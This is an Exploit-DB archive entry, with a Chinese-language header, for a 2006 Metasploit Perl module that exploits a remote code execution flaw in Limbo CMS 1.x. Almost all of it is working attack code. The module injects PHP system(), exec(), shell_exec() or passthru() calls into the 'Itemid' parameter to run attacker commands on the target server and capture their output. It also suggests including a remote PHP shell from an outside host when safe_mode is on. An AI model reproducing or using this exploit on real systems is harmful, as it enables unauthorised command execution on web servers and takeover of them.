标题: Limbo CMS 1.0.4.2 - 'itemID' Remote Code Execution (Metasploit) EDB-ID: 1563 CVE: 2006-1662 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-07 漏洞利用脚本: ##
#      Title: Limbo CMS version 1.x suffers from a remote code execution vulnerability. 
#    Name: limbo_cms_1_x.pm
# License: Artistic/BSD/GPL
#         Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::limbo_cms_1_x;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
 'Name'     => 'Limbo CMS version 1.x Code Execution',
 'Version'  => '$Revision: 1.1 $',
 'Authors'  => [ 'sirh0t < sirh0t [at] hotmail.com >' ],
 'Arch'     => [ ],
 'OS'       => [ ],
 'Priv'     => 0,
 'UserOpts' =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  'RPORT' => [1, 'PORT', 'The target port', 80],
  'RPATH' => [1, 'DATA', 'Path to the index.php script', ' /limbo/index.php'],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },

 'Description' => Pex::Text::Freeform(qq{
   This module exploits an arbitrary PHP code execution flaw in the Limbo version 1.*. All versions UNPATCHED Limbo 1.x are affected. Bug found by Aleksander Hristov
}),
#milw0rm this is your part ;p
 'Refs' =>
   [
  ['OSVDB', '-----'],
  ['CVE',   '---------'],
  ['MIL',   '125'],
   ],

 'Payload' =>
   {
  'Space' => 512,
  'Keys'     => ['cmd', 'cmd_bash'],
   },

 'DefaultTarget' => 1,
 'Targets' =>
   [
  ['Vulnerably test',0],
  ['use system()', 1],
  ['use exec()', 2],
  ['use shell_exec()',3],
  ['use passthru()',4],
   ],


 'Keys' => ['limbo'],

 'DisclosureDate' => 'Mar 03 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host    = $self->GetVar('RHOST');
 my $vhost          = $self->GetVar('VHOST') || $target_host;
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $target      = $self->Targets->[$target_idx];
 my $path           = $self->GetVar('RPATH');
 my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;
 my ($data);

 # Add an echo on each end for easy output capturing
 $cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";

 # Replacing all spaces with %20
 $cmd =~ s/ /%20/g;

 # Create the get request data
 if ($target_idx == 0) {
  $data = "?option=frontpage&Itemid=phpinfo()";
 } elsif($target_idx == 1) {
  $data = "?option=frontpage&Itemid=system(\$_GET[m])&m=$cmd";
 } elsif($target_idx == 2) {
  $data = "?option=frontpage&Itemid=exec(\$_GET[m])&m=$cmd";
 } elsif($target_idx == 3) {
  $data = "?option=frontpage&Itemid=shell_exec(\$_GET[m])&m=$cmd";
 } elsif($target_idx == 4) {
  $data = "?option=frontpage&Itemid=passthru(\$_GET[m])&m=$cmd";
 }

 my $req =
   "GET $path$data HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (MetaSploit)\r\n".
   "Host: $vhost\r\n".
   "Connection: Close\r\n".
   "\r\n";

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'SSL'       => $self->GetVar('SSL'),
   );

 if ($s->IsError){
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $self->PrintLine("[*] Sending the malicious Limbo request...");

 $s->Send($req);
 my $results = $s->Recv(-1, 20);
 $s->Close();

 if ($target_idx == 0) {
 if ($results =~ /disable_functions/) {
  $self->PrintLine("[*] Server is vuln!");
  if ($results =~ /system()/) {
   $self->PrintLine("[?] system() is disabled");
  }
  if ($results =~ /shell_exec()/) {
   $self->PrintLine("[?] shell_exec() is disabled");
  }
  if ($results =~ /passthru()/) {
   $self->PrintLine("[?] shell_exec() is disabled");
  }
  if ($results =~ /exec()/) {
   $self->PrintLine("[?] exec() is disabled");
  }
   $self->PrintLine("[*] If safe_mode=on try $vhost$path?option=frontpage&Itemid=include(\$_GET[m])&m=http://PHPSHELL?&");

 } else {
   $self->PrintLine("[-] Server NOT vuln!");
 } 
 } elsif ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
  my $out = $1;
  $out =~ s/^\s+|\s+$//gs;
  if ($out) {
   $self->PrintLine('----------------------------------------');
   $self->PrintLine('');
   $self->PrintLine($out);
   $self->PrintLine('');
   $self->PrintLine('----------------------------------------');
  }
 } else {
  $self->PrintLine('[-] exploit failed');
 }

 return;
}

1;

# milw0rm.com [2006-03-07] URL: https://www.exploit-db.com/exploits/1563